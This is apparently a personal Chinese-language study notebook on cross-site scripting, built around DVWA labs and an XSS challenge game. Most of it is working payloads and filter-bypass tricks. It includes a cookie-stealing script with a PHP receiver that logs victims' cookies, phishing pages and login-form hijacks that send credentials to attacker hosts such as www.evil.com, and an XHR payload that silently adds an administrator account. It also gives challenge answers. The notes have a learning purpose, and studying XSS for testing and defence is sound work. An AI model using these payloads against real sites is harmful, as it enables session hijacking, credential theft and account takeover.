XSS 转码
XSS小助手
http://web.chacuo.net/charsetjsascii
js转unicode
http://tool.chinaz.com/Tools/native_ascii.aspx
ascii/native 编码互转
http://zone.secevery.com/code/
xss编码转换(最全)
https://www.toolmao.com/xsstranser
Xss string.fromCharCode 转换
怎么去挖掘XSS漏洞
比如说,有一个站点有搜索框,我们去查找
然后去查看源代码,看它对<>” 有没有过来,如果有,就想办法去绕过,如果没有,就直接构造XSS漏洞
javascript 事件和协议
- onclick ,当鼠标点击一下时执行一次
- onmouseover ,当鼠标放上去时执行一次
- onmouseout ,当鼠标移出去时执行一次
- onmousedown ,当鼠标按下时执行一次
- onmouseup ,当鼠标在上面松开(弹起)时执行一次
- onmousedblclick ,当鼠标双击时执行一次
- onload ,当对象加载完成时执行
什么是伪协议
伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,
而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:
我们可以在浏览地址栏里输入"javascript:alert('JS!');",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
类似,我们可以在a标签的href属性中使用javascript伪协议
<a href="javascript:alert('JS!');"></a>
//点击这面的链接,浏览器并不会跳转到任何页面,而是显示一个弹窗
但javascript:伪协议有个问题,它会将执行结果返回给当然的页面
<a href="javascript:window.prompt('输入内容将替换当前页面!','');">A</a>
Xss
xss漏洞发生在web前端,主要对网站用户造成危害
反射型 XSS
通过xss 漏洞改造带有攻击脚本的URL ,发送URL给目标,触发恶意脚本,一次性,所见即所得,一般出现在查询类页面
存储型XSS
通过XSS漏洞将带恶意脚本注入到服务器后台(数据库或者文件中 ),访问该页面触发恶意脚本,永久性一般出现在留言板等
打开火狐,进入dvwa,级别调成低级别
在 XSS(reflected) 选项里做实验
在文本框输入 JS代码
<script>alert("xss")</script>
弹出了XSS ,证明这个文本框有反射XSS
打开火狐,进入dvwa,级别调成中级别
这时候再用
<script>alert("xss")</script>
提交,发现
并没有弹窗 猜测可能过滤的 了 script 脚本,但是没有过滤HTML脚本
可以输入 <scr<script>ipt> alert("kk")</script>
弹窗了,成功绕过了
打开火狐,进入dvwa,级别调成高级别
这是 输入 <scr<script>ipt> alert("kk")</script> 不行了
返回了一个这个
现在去查看他的源代码
最后输入的是 pre 这个标签,想办法取消掉他
使用这个语法来取消掉
11</pre> <img src=1 οnerrοr=alert('xss')> <pre> 22
对文本框输入, 反射XSS就弹出来了
证明有XSS漏洞后可以
11</pre> <img src=http://自己带有XSSpayload的网址> <pre> 22
各个级别的代码 剖析
最低级别 low
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
没有对输入做任何的过滤,只是判断他是否存在
中级别的 medium
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
判断他是否存在,并且使用了 str_replace 将输入的结果中的 <script> 给替换成空,但是仅仅对含有 <script> 的脚本有限制 可以用 <scr<script>ipt> alert("kk")</script> 来绕过
高级别的 high
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
执行了正则的搜索,一旦匹配就干掉, 但是还是只是在 script 这个字符中下了功夫,,但是可以用别的语法来做xss
例如: 11</pre> <img src=1 οnerrοr=alert('xss')> <pre> 22
接下来介绍DOM 类型的xss
Dom 型xss 演示和分析 在服务器上对这段代码测试
<script>
function test(){
var str=document.getElementById('text').value;
document.getElementById('t').innerHTML="<a href=' "+str+"'> testLink</a> ";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="">
<input type="button" id="s" value="write" οnclick="test()">
然后输入 'οnclick=alert("xss") //
再去点击,就会反射个xss
不过引号可能会被过滤什么的,最好输入
'οnclick=alert(/xss/) //
反射出来的 多加了个 //
解释:首先用第一个单引号闭合掉 href 的第一个单引号,然后插入一个onclick 事件,最后再用注释符 // 注释掉第二个单引号
还可以用另外一种方法
'> <img src=# οnerrοr=alert("xss2") /> <'
点击确定
页面的代码就变成了
<a href=''> <img src=# οnerrοr=alert(/xss2/) /> <'' > testLink </a>
现在切换到DVWA,设置成LOW 低级别 -切换到XSS (stored ) 带有XSS漏洞的留言板
把<script>alert("xss")</script> 复制到留言板
可以看到,这里在最长这里设置了10个字符
右击->编辑HTML
然后提交
反射XSS就出来了,
存储型XSS漏洞
PHP 中stripslashes函数表示:去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个;
现在把DVWA切换到中 级别 中级别的 medium
还是原来的样子,绕过前端对字符的限制
输入 <script>alert("xss")</script>
会发现,并没有弹窗,而是
脚本过滤了,但是过滤不严格
可以用 <scr<script>ipt> alert("xss11111")</script> 来绕过
高级别对script 便签做了完美的限制,但是对脚本没有做限制,还是可以绕过
用 <img src=1 οnerrοr=alert('xssend')>
还是弹窗了
实验: 通过xss 盗取用户的cookie
接收端写的代码
<?php
$cookie=$_GET['cookie']; //已get方式提交获取cookie
$time=date('Y-m-d g:i:s '); // 已 "年-月-日 分:秒 显示格式"
$referer=getenv('HTTP_REFERER'); //获取referer
$cookietxt=fopen("cookiee.txt", "a+"); //创建并且cookie
fwrite($cookietxt, "time:".$time." cookie:".$cookie." referer:".$referer."\r\n"); //写入到文件
fclose($cookietxt);
?>
脚本端
<script>document.write('<img src="http://192.168.1.61/xss/index.php?cookie='+document.cookie+'" width=0 height=0 border=0 />')</script>
先测试下, 192.168.1.61站点是否能接受cookie
192.168.1.61/xss/index.php?cookie=dwadaw
然后在 192.168.1.61 的web目录上就生成了一个cookie
现在确认接收站点正常
进入 dvwa 把级别调至低级别 LOW
对着输入框->右击firebug ->
绕过前端的字符限制
把xss 存储型的代码放上去
提交
然后 只要别的用户再去浏览这个 留言板,他们的cookie 就会被自动盗取
自己模拟一个用户去登录
。。。。。。
然后进入 接收站点查看cookie
打开火狐
使用火狐的firebug
新建cookie
把刚刚劫持到的cookie 放到这里
确认
然后把cookie 后面的网址也复制下来
对着火狐地址框输入 进去,如果直接进去了,就证明成功了
直接进来了
如果以下不能弹窗,可能是浏览器版本的问题
弹出XSS的方法有很多种
1 利用HTML标签
2 利用HTML标签的属性值来做
例子:
<img src=1 οnerrοr="alert(/xss/)">
<input type="text" value="乌云欢迎您" οnclick="alert(/xss/)" />
3 空格回车TAB
如果XSS 过滤仅仅把敏感的输入字符列入黑名单,如铭感字 javascript 而言,用户可以利用空格,回车和TAB绕过限制
例如
<img src=”java script:alert(/xx/)” widht=100>
注入,java 和script 之间的间隔不是空格键,而是TAB键添加的,把以上的代码保存在HTML中,用IE6打开。此时IE 6会弹窗 ,但是在我自己测试的时候没有弹窗,记住这个思路就好了
Var a=true
Var b=”im 2cto-bnsky”
如果同一行中有多个语句,那么每个语句就必须 使用分号来来结束
Var a=true;b=”im 2cto-bnsky”
除了再引号中分割单词或强制结束语句之外,额外的空白无论已何种方式添加无所谓,下面的代码,虽然语句中有一个换行符,但变量的赋值完全成功
var a=”hello word”;
alert(a);
引擎没有把换行符解释为语句的终止符,因为到换行符并不是一个完整的语句,JavaScript会继续处理发现的内容,直到遇到一个分号或发现语句完整为止, 因此用户可以构造下面的代码形式绕过系统对javascript 等关键字的过滤
<iMg srC=1 ;
ONerror="alert(/1/)">
使用回车符分割关键字(拆分关键字)的技巧,还有大小写,成功执行了跨站脚本代码
4 对标签属性值转码
此外,对普通HTML标记的属性值进行过滤,用户还可以通过编码处理来绕过,因为HTML中属性值本身支持ASCII码形式
<img src=”javascript:alert(‘xss’);”> //这条语句自己测试的时候是不行的
替换为
<img src="javascriptt:alert(/xss/)" >
源代码是<img src=1 οnerrοr="alert(/s/)"> 经过转换为
<ImG src=1;
onerRoR=alert(/s/)
>
5 产生自己的事件
现在,假设用户不能一开属性值进行跨站,
<input type="button" value="click me " οnclick="alert(YES)">
这是HTML代码中的事件处理程序,运行这段代码,点击就触发弹窗
我们把事件分为3个不同的类别
用户接口(鼠标,键盘)
逻辑(处理的结果)
变化(对文档进行的修改)
既然事件能让javascript代码运行,就意味着用户也能利用它执行跨站脚本
<img src=1 οnerrοr="alert(/xss/)">
测试事件脚本还有很多,
Onmouseover
...
...
..
6 利用CSS跨站剖析
例子
<div style="background-image: url("javascript:alert('xss')")"></div> //这个自己尝试了不行
IE5 以及其后的版本在支持CSS中使用expression,使用Experssion 同样可以触发 XSS漏洞
<div style="width: expression(alert('sssss'));"></div> //这条可以
<div style="color: expression(alert('XSS'))">
这样也可以
<div style="w: expression(alert('sssss'));"></div>
在IE 7 。IE6 可以弹窗
一个正常的xss 输入
<img src=1 οnerrοr="alert(1)" >
大小写混合
<IMG SRC=1 οnerrοr="alert(1)" >
单引号xss
<iMg SRC=1 οnerrοr= 'alert(1)' >
没有引号的XSS
<IMG SRC=1 οnerrοr= alert(1)>
没有空格的XSS
<IMG/SRC=1 οnerrοr=alert(1)>
这里的IMG标记和SRC熟悉没有空格,而是用/隔开,依然可以弹窗
<a href="java script:alert(/xss/)">xss</a>
a和s 之间用tab键去绕过
当利用expression执行跨站时,可以构造不同的全角字符来扰乱过滤规则:
<XSS STYLE="xss:expEssion(alert('xss'))">
<div style="{left:expression(alert('xss'));}"></div> //这个是正确的XSS代码,上面意思是扰乱过滤规则
<div style="wid/******/th: expr/**javascript***/ession(alert('xss'))"></div>]
利用 /***/ s各种去绕过过滤规则
样式中的 /**/ 会被浏览器忽略,因此可以运用/**/ 来注释字符,通过插入混淆字符绕过过滤
<XSS STYLE="xss:expr/*xss*/ession(alert('xss'))"> //扰乱对方的过滤规则
<div style="wid/*******/th:expre/*xss*/ssion(alert('xss'))">123123</div> //xss 弹窗 在IE5,IE7 有效
Expression 在IE 里有效,其实就是javascript 的意思
如果对方过了了Script 可以尝试
<scr<script>ipt>alert("XSS")</scr<script>ipt>
<a href=javascript:alert(/xss/)>123321</a> 不用引号的XSS
<iframe/src="data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<isindex action=j a vas c r ipt:alert(1) type=image>
base64编码
Data协议使用方法 data:资源类型;编码,内容
到目前为止 我遇到使用base64编码的情况 大多数是这样
<a href="可控点">
<iframe src="可控点">
在这种情况下 如果过滤了<> ' " javascript 的话 那么要xss可以这样写 然后利用base64编码!
<a href="<script>alert(/sss/)</script>">222222222</a> //源代码,这样是不能弹窗的
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">adwada</a> //加上base64 编码就能弹窗 data:text/html;base64,是固定语法
HTML5 新增的实体命名编码,如
: => [冒号] => [换行
如<a href="javascript:alert(1)">click</a>
解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
<a href="javascript:alert(1)">click</a>
首先html编码被还原出来 然后就成了换行 跟冒号
<a href="javasc
ript:alert(1)">click</a>
为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双号围住,否则不会跳过。跳过回车和换行,不支持on事件.
然后就构造成了一个完整的语句
<a href="javascript:alert(1)">click</a> 代码成功执行
字符编码:
字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏shellcode
绕过 magic_quotes_gpc
这个是 PHP里的一个安全参数
Magic_quotes_gpc=ON 是php中的安全设置,开启后会把一些特殊字符进行轮换,比如 ‘(单引号) 转换为 \' "(双引号) 转换为 \" \转换为 \\
比如 <script> alert("xss") </script> 会转换成 <script>alert(\"xss\");</script> 这样的话我们的XSS就不生效了
针对开启了magic_quotes_gpc 的网站,我们可以通过javascript 中的String.fromCharCode方法来绕过,我们可以把 alert("xss") 转化为
String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41) 那么我们的XSS语句就变成了
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。
可以尝试把XSS留在管理员登录界面,这样的话就可以永久劫持它的cookie
绕过长度限制
<input type="text" value="$var">
如果服务器端v在变量 $var 上做了长度限制的话,那么攻击者可能会构造这样的XSS
$var 为 "> <script>alert(/xss/)</script>
希望达到的输出效果是:
<input type="text" value=""><script>alert(/xss/)</script> "
假设字符长度限制为20个字节,攻击就无法完成,那么可以利用事件
"οnclick=alert(1) //
效果就是 <input type="text" value="" οnclick="alert(/xss/) ">
挖洞专用弹窗代码
script>window.setAttribute('onload',alert('xss')</script>
onerror 十六进制的HTML为
onerror
<img src=1 οnerrοr=alert(1);> 不要引号也能弹窗
<a href="javascript:alert('xss')">2</a> 点击弹窗
<video src=x οnerrοr=prompt(1);> 弹窗
<div οnclick="alert('ss')">12321 </div> 弹窗
不需要 <> / 的弹窗
<script>
eval(`alert(1)`);
</script>
或者
<script>
window.alert("xss")
</script>
<object data="javascript:alert(1)">
<SvG/onlOad=alert(1)> //最短的一个弹窗
<iframe/οnlοad=alert(1)>弹窗
<body/οnpageshοw=alert(1)> 弹窗
<? echo('<scr'); echo('ipt>alert(/ss/)</script>');?> 弹窗
<marquee><script>alert(`ss`)</script></marquee> 弹窗
<script>var test=1;alert(test)</script> 弹窗
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x27\x29") 弹窗 16进制转码
eval(alert('ss')) //原始代码
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0060\u0073\u0073\u0060\u0029") //转换后 转换后必须加上双引号
在某些特定的环境下,可以利用注释绕过 长度限制
<input type="text" id="1" value="">
<input type="text" id="2" value="">
在第一个 input 框输入
"><!--
在第二个input框输入
--> <script>alert(/xss/)</script>
最终的效果是
<input type="text" id="1" value=""> <! -- " />
xxxxxxxxxx
<input type="text" id="2" value=""> --> <script>alert(/xss/)</script>
中间的代码全部被 <!--- -->
var search = "可控点";
document.getElementById().innerHTML=search;
以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字
如果过滤了 <> ' " & % 等等这些!然后再输出到页面上!
按理说这样是安全了!但是我们把输入的值改成 js编码,
如 我们改成 <img src=x οnerrοr=alert(1)> 然后进行js八进制编码 ==>
\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76
然后服务器端接受后 经过过滤器 没有发现该过滤的就进入到了innerHTML中
经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!
URL编码
Javascript:伪协议后面可以使用URL编码。
如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗
可用img就不行:<img src=1 οnerrοr=”javascript:%61lert(1)”>
因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href="javascript:%61lert(1)">click me</a>
由于entity编码允许&#之后插入任意多个0,再利用上javascript的注释混淆后:
<a href="javascript: //%0a %61lert(1)">click me</a>
绕过防御
过滤了alert(1)的括号,可以用alert`1` //反引号
利用js字符串模块 eval.call`${'\141\154\145\162\164\50\61\51'}`
转换大小写<scRiPt>alert(1)<ScRipt>
绕过Php的htmlspecialchars()
Php的htmlspecialchars()默认能将< > & “转成< > & "
如果用了htmlspecialchars($name, ENT_QUOTES); 则 ’ 也会被转成 '
如果用了 htmlspecialchars ($name, ENT_NOQUOTES);则单双引号都不会被转换。
Js中可用以下代码绕过:
Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))
Html中可用以下代码绕过:
‘ οnmοuseοver=’alert(1)
源代码是<input type=”text” value=””>
变成了<input type=”text” value=” ‘οnmοuseοver=’alert(1)”>
这个没试过,不知道行不行~~~
单引号或者是 ~键盘上的反引号 你都试试
2.php源代码
<?php
$name = $_GET["name"];
$name = htmlspecialchars($name);
?>
<input type='text' value='<?php echo $name?>'>
地址栏输入http://127.0.0.1/2.php?name=’ οnmοuseοver=’alert(1)后回车
然后将鼠标移到那个框框后, 弹出弹窗.
我自己试了 ,没弹窗
Xss钓鱼(挂马):
(1)xss重定向钓鱼
如自己建一个钓鱼网站www.xiumu.com, 然后受害者访问如下地址http://www.test.com/a.php?id=””><script>document.location.href=”http://www.xiumu.com”</script>
或者http://www.test.com/a.php?id=””><iframe src=”http://www.xiumu.com” height=0 width=0 ></iframe>
(2)HTML注入式钓鱼
直接利用XSS漏洞注射HTML/js 代码到页面中.可写一个正常的HTML表单来窃取账号密码.如:http://www.test.com/a.php?id=””<html><head><title>login</title></head><body><div style=”text-align:center;”><form method=”POST” action=”xiumu.php” name=”form”><br/><p>username</p><input type=”text” value=”” name=”a”><p>password</p><input type=”password” name=”b” value=””><br/><input type=”submit” value=”login”></form></body></html>
这样当用户直接填入账号密码提交后,你就可以在xiumu.php接收到受害者的账号密码了.
Xiumu.php代码:<?php echo $_POST[‘a’]?><?php echo $_POST[‘b’]?>
(3)Xss跨框架钓鱼
这种方式是通过<iframe>嵌入远程域的一个页面实施钓鱼,http://www.test.com/a.php?id=””><iframe src=”http://www.xiumu.com” height=”100%” width=”100%”></iframe>通过将www.xiumu.com的页面做的和test的页面相同(可利用iframe实现),但受害者看到的不是真正的test页面,而是xiumu页面.
腾讯微博曾经的XSS漏洞
<a href="###" οnclick="setTimeout(function(){ UI.remove($('upload_pic_container')) }, 10); MI.talk('分享活动','#x');alert(document.cookie);//#这个活动【xx】挺好玩,大家快来参加吧,地址是http://event.t.qq.com/x。', 80, null, function(){window.location.reload()} );">分享</a><span>|
由于浏览器解析页面的时候会先把'解码成',从而在onclick的javascript环境下形成单引号闭合,从而当点击“分享”即可触发我们插入的代码。
IE6-IE8,IE9的兼容模式有效的xss,插入如下的代码,当鼠标点击test即触发xss。
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">test</a>
貌似只能是a标签有效
Xss 的基本概念
- XSS的存在,一定是伴随着输入,与输出2个概念的。
- 要想过滤掉XSS,你可以在输入层面过滤,也可以在输出层面过滤。
- 如果输入和输出都没过滤。 那么漏洞将是显而易见的
- 作为第一个最基础的例子, 我们拿出的是一个什么都没过滤(其实还是有些转义的,主要没过滤< , >)的例子。 这种例子出现在腾讯这种大网站的概率不是很高。 但是还是让我找到了一个。
- http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886
- 对于上面这个例子。我们可以看到什么是输入,什么是输出
. 经过测试,我们发现,score这个【输入】参数,没有进行任何过滤,
即,输入是什么,输出就是什么? 通俗点就是“吃什么,拉什么”。。
如下图
- 既然可以直接输入 < > HTML标签,接下来的利用也就相对简单了。
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=<img src=1 οnerrοr=alert(1);>&func=haoping&_=1353475261886
eval() 也可以执行10进制形式的文本,但是需要配合String.fromCharCode 函数的使用
string.fromcharcode()用于将字符转化为ascii值
例子
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
<a href="javascript:alert(/sss/)">sss</a> //原始代码。利用伪造协议
10进制编码以后
<a href="javascript:alert(/sss/)">sss</a>
弹窗
动态调用远程javascript
假设www.bug.com 的某个页面存在一个含有XSS漏洞 exploit 如下
http://www.bug.com/veiw.php?sort=[exploit]
可以直接把shellcode 写到URL参数中
http://www.bug.com/veiw.php?sort=<script>alert(/xss/)</script>
因为种种限制,所以只需写一个script标签引用自己的恶意站点进行动态的加载,这样的话我们可以在我们的站点写上任意代码然后被漏洞站点加载
除了使用 <script>标签动态的调用远程javascript ,还可以运用基于DOM的方法创建和插入节点,把脚本注入到HTML网页里
<script>
var s=document.createELement("script");
s.src="http://www.baidu.com/1.js";
document.getElementsByTagName('head')[0].appendChild(s)
</script>
location.hash 用法
substr() 可在字符串中抽取从start下标(这里是1)开始的制定数目的字符,所以location.hash.substr(1) 的作用是抽取 “#” 符号后面的字符,即 alert(‘xss’) 而 eval() 函数用来计算某字符串,并执行其中的javascript 代码,通过这种技巧,就能先把shellcode 写到地址参数再执行,
一段XSS的payload
某网站同学留言的贴图URL输入框出现过XSS,主要是onload 事件来触发
在留言的贴图URL的输出框里填写
editor/uploadfile/2016/2/123123123.gig" οnlοad="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;var e=t.indexOf('---)eval(unescape(t.substring(s,e)))">
在留言框内容填写
xss代码触发以后,会调用留言内容中的+++和---之间部分代码,对这段代码解码后得到核心的shellcode如下
try{
var as=document.getElementsByTagName('a');
var frm=document.getElementsByTagName('iframe')[0];
frm.οnlοad=function(){
var oFrm=document.getElementsByTagName('iframe')[0];
oFrm.οnlοad="";
var oDoc=oFrm.contentWindow.document;
oDoc.all["who"][1].checked=true;
oDoc.dealmember.action="backation/updateclassmate.jsp?f=1";
oDoc.dealmember.submit();
}
frm.src=as[34].href
}catch(e){
alert(e)
}
大概意思就是 获取所有的a标签 获取第一个iframe,定义一个加载的函数,获取第一个iframe标签,设置它的参数,提交到backation/updateclassmate.jsp?f=1这个网页中,自动提交, iframe 的内容也就是src 和页面上的某个a标签的src 是一样的,就等于是新建了一个iframe框架,里面的内容就是页面上的a标签的内容,并且自动提交。就是页面跳转劫持的意思
cookie 常见属性
Domain-设置关联cookie 的域名
Expires-通过给定一个过期时间来创建一个持久化cookie
httponly-用于避免cookie被javascript访问
name-cookie 的名称
path-关联到cookie的路径,默认为/
value- 读写cookie 的值
secure- 用于指定cookie需要通过安全socket层连接传递
创建cookie,需要提供cookie 的名字,对应值,过期时间和相关路径
php设置
<?
setcookie(‘user_id’,123) //创建一个cookie变量user_id=123
?>
删除cookie
setcookie(‘user_id’,0,time()-1)
在浏览器输出
javascript:alert(document.cookie) 就能知道cookie
攻击者可以通过以下几种方式获取cookie
自己写一个请求添加账号密码的XSS shellcode, 关于ajax 如果忘了,可以去看前端的笔记.dox
请求的URL
/admin/adminuser/admiuser_add.asp
请求的POST数据
username=123456&password=123456=password=123456&purview=..........&submit=.........
xssshellcode 如下
<script>
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType('text/xml');
}
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP','MSXML.XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTP.6.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'];
for(var i=0;i<versions.length;i++){
try{
request=new ActiveXObject(versions[i])
}catch(e){}
}
}
xmlhttp=request
add_admin();
function add_admin(){
var url="/admin/adminuser/admiuser_add.asp"; //请求地址
var params="username=xss&password=123456=password=123456&purview=..........&submit=........." //提交的数据,也就是修改密码的数据
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length",params.length);
xmlhttp.setRequestHeader("Connection","close");
xmlhttp.send(params);
}
上述代码简单的利用xmlhttp对象发送一个POST请求,由于该请求上带上了被攻击的COOkie 并一同发送到服务端,所以能在后台悄悄添加一个管理员
做钓鱼网站,并且保存密码后页面跳转
<form action="http://192.168.111.102/stong.php" method="post">
<input type="text" name="user">
<input type="pass" name="pass">
<input type="submit">
</form>
<?php
$data=fopen("123.txt", "a+");
@$a=$_POST['user'];
@$b=$_POST['pass'];
fwrite($data, $a);
fwrite($data, $b);
header("location:http://www.baidu.com");
?>
接受完页面以后立马瞬间跳转到百度
XSS钓鱼欺骗
攻击者在XSS页面插入利用代码
http://www.bug.com/index.php?s=<Script src=http://www.evil.com/xss.js></Script>
当用户访问这个链接时,就会动态调用远程的xss.js的文件,该文件的作用是创建一个iframe框架覆盖目标页面,再加载远程域伪造的钓鱼页面
这里使用document.body.innerHTML方法插入代码
document.body.innerHTML=('<div style="position: absolute;top: 0px;left: 0px;width: 100%;height: 100%;">'+'<iframe src=http://www.evil.com/phishing.html width="100%;" height="100%">'+'</iframe></div>');
这样的效果就是动态的调用了一个自己写的危害的页面覆盖了原本的页面
小补充: forms 集合可返回对文档中所有 Form 对象的引用。
语法 document.forms[]
构建XSS payload 劫持表单和控制web行为
<script>
form=document.froms["userslogin"];
form.οnsubmit=function(){
var iframe=document.createElement("iframe");
iframe.style.display="none";
alert(form.user.value);
iframe.src="http://127.0.0.1/phishing.php?user="+form.user.values+"$pass="+form.pass.value;
document.body.appendChild(iframe);
}
</script>
这段代码用来截取用户在登录页面输入的用户名字和密码信息,然后提交给当前创建的PHP脚本
没试过
这里详细的介绍了ajax
方法 | 描述 | ||
getALLResponseHeaders() | 把HTTP请求所有相应收不作为键/值对返回 | ||
open(method,url,async) |
| ||
send(string) |
| ||
setRequestHeader(header,value) |
向请求添加 HTTP 头。
|
XMLHtttpRequest对象的属性
onreadystatechange |
存储函数(或函数名),每当 readyState 属性改变时,就会调用该函数。 | ||
readyState |
| ||
responseText |
| ||
responseXML | 获得 XML 形式的响应数据。 |
status | 服务器的相应HTTP状态码 |
statusText | http状态对应文本 |
发送一个GET请求
<script>
function createXHR(){
if(typeof XMLHttpRequest !='undefind'){ //非IE6的创建Ajax的办法
return new XMLHttpRequest();
}else if(typeof ActiveXObject !='undefind'){ //IE6的创建Ajax的办法
var version=['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp']; //IE6的xmlhttp版本有很多
for(var i=0;version.length;i++){
try{
return new ActiveXObject(version[i]); //自己去定义xmlhttp做成一个数组,遍历循环,如果认识那个版本就去创建,不认识肯定会报错,所以用try catch 跳过报错的环节,直接选到浏览器符合的版本
}catch(e){
//跳过
}
}
}else{
throw new Error("您的系统或者浏览器不支持ajax") //如果浏览器对于数组里的版本都识别不了,就报错
}
}
var xml=createXHR(); //创建XHR请求对象
xml.open("GET","web/url.php?"+data,true); //初始化请求
xml.send() //和服务器建立链接并发数据
</script>
发送POSTajax 请求
<script>
function createXHR(){
if(typeof XMLHttpRequest !='undefind'){ //非IE6的创建Ajax的办法
return new XMLHttpRequest();
}else if(typeof ActiveXObject !='undefind'){ //IE6的创建Ajax的办法
var version=['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp']; //IE6的xmlhttp版本有很多
for(var i=0;version.length;i++){
try{
return new ActiveXObject(version[i]); //自己去定义xmlhttp做成一个数组,遍历循环,如果认识那个版本就去创建,不认识肯定会报错,所以用try catch 跳过报错的环节,直接选到浏览器符合的版本
}catch(e){
//跳过
}
}
}else{
throw new Error("您的系统或者浏览器不支持ajax") //如果浏览器对于数组里的版本都识别不了,就报错
}
}
var xml=createXHR(); //创建XHR请求对象
para="id=11&username=diwada&password=12314" //发送的数据
xml.open("GET","web/url.php?"+data,true); //初始化请求
xml.setRequestHeader("Content-Type","application/x-www-form-urlencode");
xml.send(para) //和服务器建立链接并发数据
</script>
XSS小游戏 游戏答案
第一关唯一和用户交互的地方就是URL里的参数
尝试着把参数修改
localhost/xss/level1.php?name=<img/src=1 οnerrοr='alert("1")'>
然后就弹窗了,第一关过了
第二关 表单里的输入框,只对 空格 / 做了转义
"οnmοuseοver=alert("s") //
使用” 把 vlaue 前面的双引号过滤,添加事件 // 把后面的过滤
达到一个 移动 弹窗的效果
第三关
"还是<>都跳不出value标签,故我们尝试别的特殊字符,发现'号可以跳出标
'οnmοuseοver=alert(/xss/) //
下次如果遇到情况你也可以用单引号试试
第四关
"οnmοuseοver=alert(/ss/) //
第五关
它把事件加了一个 _ 所以尝试着用不需要事件的XSS来弹窗
"><a href="javascript:alert('xss')">2</a>//
“ >闭合前面的 // 闭合后面的 动态的添加一个a标签
或者用
"><iframe src="javascript:alert(1)"></iframe>
第六关
"ONMOUSEOVER=alert(/ss/) //
第七关
"><a hrHREFef="javascriSCRIPtpt:alert('ss')">123</a>//
对on href 都进行了消除,尝试着用两个或者是大小写来绕过限制
"> 闭合前面的
// 消除后面的
或者尝试这样也可以
"><span oOnOnnclick="alert('ss')">123</span>//
进行绕过
主要还是看他过滤了那一块
或者是" OnoOnNmouseover=alert(`ss`) //
第八关
对ri 进行了转换 转换成r_i 所以我对i 进行了编码,
javascript:alert('ss')
整体达到的效果就是这样
怎么看有没有实体编码
第九关
对方对ri 进行了 r_i
对””进行了实体编码
绕过的方法
javascript:alert( ` http://` ) `` 这个输出的方法就是~这个键不加shift
i 是i转化后的效果
最终达成的效果 能弹窗
怎样看到底有没有被实体编码? 其实很简单,例如
我输出 javascript:alert("http://") 利用firbug查看
右击->编辑HTML
可以看到 "(引号)全部转义了,
现在我尝试对引号进行编码
原来输出的是 javascript:alert("http://") 然后对引号进行编码 成为了下面的
为 javascript:alert("http://")
再放进去
可以看到结果,然后右击->编辑HTML
可以看到,两个引号还是被转义了, 这就是实体编码了~~~
第10关
没有任何输出框,我尝试着对变量进行XSS
现在通过firebug查看
右击->编辑HTML
可以看到 <> 都被转义了,现在尝试进行编码看看
这道题目搞了很久,都没弄明白,所以破例查看的源码
三个input 都隐藏了,你可以用firebug 打开 可以看到,虽然是三个,但是这边只有name=t_sorf 的能够传值, 所以我们要在URL里动态的添加参数,
可以看到这边已经有值了
构造payload 使它弹窗
t_sort=kk” 闭合掉前面的标签
οnmοuseοver=alert(/ss/) 弹窗
